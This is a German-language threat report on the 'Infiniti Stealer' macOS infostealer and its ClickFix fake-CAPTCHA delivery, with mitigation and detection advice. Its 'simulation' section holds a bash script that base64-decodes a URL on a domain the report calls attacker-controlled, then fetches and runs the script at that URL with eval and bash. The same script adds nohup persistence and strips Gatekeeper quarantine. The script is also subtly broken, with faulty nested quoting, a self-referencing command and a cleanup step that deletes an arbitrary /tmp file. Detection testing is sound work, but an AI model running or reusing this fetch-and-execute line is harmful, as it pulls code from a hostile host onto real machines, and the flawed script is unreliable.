Infiniti Stealer: ein neuer macOS-Infostealer unter Verwendung von ClickFix und Python/Nuitka

Zusammenfassung

Ein neu identifizierter macOS-Infostealer namens Infiniti Stealer wurde entdeckt, der einen ClickFix-Social-Engineering-Köder benutzt, um Benutzer zu infizieren. Die Malware ist mit Nuitka erstellt, das Python-Code in ein natives Mach-O-Binärdatei umwandelt, wodurch die statische Inspektion erschwert wird. Nach der Ausführung stiehlt sie Anmeldedaten, Keychain-Daten, Kryptowährungs-Wallet-Dateien und andere sensible Informationen und exfiltriert die gesammelten Daten dann über HTTP-POST-Anfragen. Die Kampagne verlässt sich auch auf eine gefälschte CAPTCHA-Seite, die auf einer böswilligen Domain gehostet wird, um Opfer dazu zu bringen, einen schädlichen Bash-Befehl auszuführen.

Untersuchung

Forscher entdeckten die Nutzlast während der routinemäßigen Bedrohungssuche und verfolgten sie zunächst unter dem vorübergehenden Namen NukeChain, bevor das Panel des Bedrohungsakteurs das endgültige Branding als Infiniti Stealer enthüllte. Die Analyse zeigte einen dreistufigen Ablauf: ein Bash-Dropper, der über eine gefälschte CAPTCHA überliefert wird, ein mit Nuitka kompiliertes Lademodul und ein auf Python basierendes Stealermodul. Der Dropper platziert das Binär im /tmp, entfernt das Quarantäneattribut und startet es, während er C2-Details über Umgebungsvariablen übergibt. Die Endphase sammelt Daten von Browsern, Keychain, Wallets und entwicklerbezogenen Dateien, bevor sie an den vom Angreifer kontrollierten Server gesendet werden.

Minderung

Benutzer sollten niemals Befehle von unbekannten Websites kopieren und ausführen, insbesondere Seiten, die vorgeben, CAPTCHA-Herausforderungen zu überprüfen. Verteidiger sollten verdächtige Dateien in /tmp or ~/Library/LaunchAgentsinspizieren und entfernen, einen vertrauenswürdigen Anti-Malware-Scan durchführen und Passwörter für eventuell offengelegte Konten von einem sauberen System aus rotieren. Alle aktiven API-Tokens oder SSH-Schlüssel, die möglicherweise gesammelt wurden, sollten ebenfalls widerrufen werden.

Reaktion

Detektionsteams sollten nach dem Dropper-Skript und dem mit Nuitka kompilierten Binär suchen, indem sie Dateierstellungen in /tmp beobachten, die dem beschriebenen Namensmuster entsprechen. Alarme sollten bei der Ausführung des bösartigen Bash-Befehls sowie bei ausgehendem HTTP-POST-Verkehr zur identifizierten C2-Domain ausgelöst werden. Der Netzwerkzugang zu update-check.com and infiniti-stealer.com sollte blockiert werden. Eine hostbasierte forensische Überprüfung sollte dann gestohlene Anmeldeinformationen identifizieren und obligatorische Anmeldeinformationszurücksetzungen unterstützen.

Simulationsausführung

Voraussetzung: Die Telemetrie- & Baseline-Pre-Flight-Check muss bestanden sein.

Angriffs-Narrativ & Befehle

Ein Angreifer liefert einen Phishing-Link, der, wenn er auf einem macOS-Arbeitsplatz geöffnet wird, den folgenden One-Liner im Terminal ausführt. Der Befehl:

1. Lädt eine Base64-codierte URL (den Payload-Host) über curl -sSfL.
2. Dekodiert den Base64-String, um die tatsächliche HTTPS-URL zu enthüllen.
3. Führt das heruntergeladene Skript mit bash.
4. aus unter nohup um es am Leben zu halten, nachdem das Terminal geschlossen wurde.
5. Entfernt das Quarantäne-Attribut (xattr -dr com.apple.quarantine), um Gatekeeper zu umgehen.

Diese Schritte erzeugen die genauen Befehlszeilenfragmente, auf die die Sigma-Regel wartet, und lösen damit den erwarteten Alarm aus.

Regressionstest-Skript

#!/usr/bin/env bash
# ------------------------------------------------------------
# Infiniti Stealer-Infectionssimulation (macOS)
# ------------------------------------------------------------

# 1. Den böswilligen One-Liner erstellen (genau wie die Regel es erwartet)
MALICIOUS_CMD="bash <(curl -sSfL $(echo aHR0cHM6Ly91cGRhdGUtY2hlY2suY29tL20vN2Q4ZGYyN2Q5NWQ5 | base64 --decode))"

# 2. Optionale Persistenzhelfer (in der Erkennung enthalten)
MALICIOUS_CMD+=" && nohup bash -c "$MALICIOUS_CMD" >/dev/null 2>&1 &"
MALICIOUS_CMD+=" && xattr -dr com.apple.quarantine /Applications/Utilities/Terminal.app"

# 3. Den Befehl ausführen
eval "$MALICIOUS_CMD"

# 4. Ein paar Sekunden warten, um die SIEM-Erfassung zu ermöglichen
sleep 5

# 5. Einen Marker zur manuellen Überprüfung ausgeben
echo ">>> Simulation ausgeführt – Überwachen Sie SIEM auf Alarm <<<"

Bereinigungskommandos

#!/usr/bin/env bash
# ------------------------------------------------------------
# Bereinigung nach Infiniti Stealer-Simulation
# ------------------------------------------------------------

# Alle im Hintergrund laufenden nohup-Prozesse beenden, die durch die Simulation gestartet wurden
pkill -f "bash <(curl -sSfL"

# Alle temporären Dateien entfernen, die möglicherweise erstellt wurden
rm -f /tmp/$(ls /tmp | grep -E 'tmp|bash|curl' | head -n 1)

# Quarantäne-Attribut am Terminal wiederherstellen (optional, zur Hygiene)
xattr -w com.apple.quarantine "0081;5f4a9b2c;Safari;1234567890" /Applications/Utilities/Terminal.app 2>/dev/null || true

echo "Bereinigung abgeschlossen."

Ende des Berichts